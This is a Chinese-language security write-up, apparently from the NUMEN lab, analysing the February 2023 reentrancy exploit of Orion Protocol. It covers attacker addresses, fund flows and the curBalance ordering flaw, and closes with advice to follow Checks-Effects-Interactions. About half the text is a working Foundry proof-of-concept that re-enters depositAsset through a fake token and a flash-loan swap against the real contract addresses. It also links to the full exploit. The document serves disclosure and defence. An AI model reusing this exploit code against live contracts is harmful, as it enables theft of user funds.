事件背景
根據NUMEN鏈上監控顯示, Feb-02-2023 03:40:20 PM +UTC , Ethereum和Binance鏈上OrionProtocol因為合約漏洞遭到重入攻擊,損失2844766 USDT (Ethereum)和191606 BUSD(BSC),價值約290 萬美元。
Ethereum 鏈過程分析:
攻擊者地址: 0x837962b686fd5a407fb4e5f92e8be86a230484bd
攻擊者合約: 0x5061f7e6dfc1a867d945d0ec39ea2a33f772380a
攻擊交易: 0xa6f63fcb6bec8818864d96a5b1bb19e8bd85ee37b2cc916412e720988440b2aa
攻擊分析
攻擊者首先創建Token合約(0x64acd987a8603eeaf1ee8e87addd512908599aec) ,並對Token進行轉移及授權,為後續攻擊做準備。
攻擊者通過UNI-V2.swap方法借款並調用ExchangeWithAtomic.swapThroughOrionPool方法進行代幣兌換,兌換路徑為
path=[USDC, 0x64acd987a8603eeaf1ee8e87addd512908599aec,USDT]
路徑0x64ac … 0aec是攻擊者創建的Token合約,攻擊者將使用該合約進行回調。
調用ExchangeWithAtomic.swapThroughOrionPool方法兌換時,由於攻擊者創建的Token合約存在回調,所以攻擊者通過Token.Transfer繼續回調ExchangeWithAtomic.depositAsset進行重入讓存款金額累加,隨後取款完成獲利。
資金流向
黑客初始資金來自於幣安熱錢包賬戶,獲利的1651枚ETH其中還657.5枚還留在錢包地址中,其餘的已經通過Tornado.Cash 進行轉移。
漏洞核心
關鍵問題在doSwapThroughOrionPool 函數
合約地址: https://etherscan.io/address/0x420a50a62b17c18b36c64478784536ba980feac8#code
然後跟進到_doSwapTokens 函數。
看到轉賬發生之後更新curBalance ,所以在faketoken 的transfer 新增一個回調功能,回調代碼就是調用depositAsset 函數,所以導致curBalance 錯誤更新,然後攻擊者在還完閃電貸之後調用withdraw 提走資金 。
攻擊復現
部分POC 代碼:
contract CounterTest is Test { function setUp() public { } UNI uni=UNI(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852); USDT usdt=USDT(0xdAC17F958D2ee523a2206206994597C13D831ec7); USDC usdc=USDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); OrionPoolV2Pair orionpoolv2pair=OrionPoolV2Pair(0x13e557c51C0a37E25E051491037Ee546597c689F); ExchangeWithAtomic exchangewithatomic=ExchangeWithAtomic(0xb5599f568D3f3e6113B286d010d2BCa40A7745AA); OrionPoolV2Factory orionpoolv2factory=OrionPoolV2Factory(0x5FA0060FcfEa35B31F7A5f6025F0fF399b98Edf1); address[] public tokens; function testa() public{ ERC20 fakeA=new ERC20("fakea","fa"); address pair1=orionpoolv2factory.createPair(address(fakeA),address(usdc)); address pair2=orionpoolv2factory.createPair(address(fakeA),address(usdt)); vm.prank(0x0A59649758aa4d66E25f08Dd01271e891fe52199); usdc.transfer(address(this),500000); vm.prank(0x0A59649758aa4d66E25f08Dd01271e891fe52199); usdc.transfer(address(this),1000000); vm.prank(0x0A59649758aa4d66E25f08Dd01271e891fe52199); usdc.transfer(address(pair1),500000); vm.prank(0x5754284f345afc66a98fbB0a0Afe71e0F007B949); usdt.transfer(address(pair2),500000); vm.prank(0x5754284f345afc66a98fbB0a0Afe71e0F007B949); usdt.transfer(address(this),1); fakeA.transfer(address(pair1),500000000000000000); fakeA.transfer(address(pair2),500000000000000000); pair(pair1).mint(address(this)); pair(pair2).mint(address(this)); usdt.approve(address(exchangewithatomic),type(uint256).max); usdc.approve(address(exchangewithatomic),type(uint256).max); usdc.approve(address(orionpoolv2pair),type(uint256).max); tokens.push(address(usdc)); tokens.push(address(fakeA)); tokens.push(address(usdt)); exchangewithatomic.depositAsset(address(usdc),500000); uni.swap(0,2844766426325,address(this),hex"000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec700000000000000000000000000000000000000000000000000000296594ad4d5"); console2.log(usdt.balanceOf(address(this))); } function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external{ exchangewithatomic.swapThroughOrionPool(10000,0,tokens,true); //uint r1= exchangewithatomic.getBalance(address(usdt),address(this)); uint256 r2=usdt.balanceOf(address(exchangewithatomic)); exchangewithatomic.withdraw(address(usdt),5689532852749); usdt.transfer(address(uni),2853326405542); } function deposit() public{ uint r3=usdt.balanceOf(address(this)); exchangewithatomic.depositAsset(address(usdt),uint112(r3)); } }
測試結果
和調用棧結果一致。
完整poc 鏈接:
https://github.com/numencyber/SmartContractHack_PoC/tree/main/OrionProtocolHack
總結
NUMEN 實驗室提醒項目方,合約存在兌換功能時,需要考慮多種Token 以及多種兌換路徑出現的意外情況,並且對於合約代碼邏輯遵循先判斷,後寫入變量,再進行外部調用的編碼規範( Checks-Effects-Interactions )會使項目更加安全穩定。保障合約風險盡可能被消除在鏈下, NUMEN 專注於為web3 生態安全保駕護航。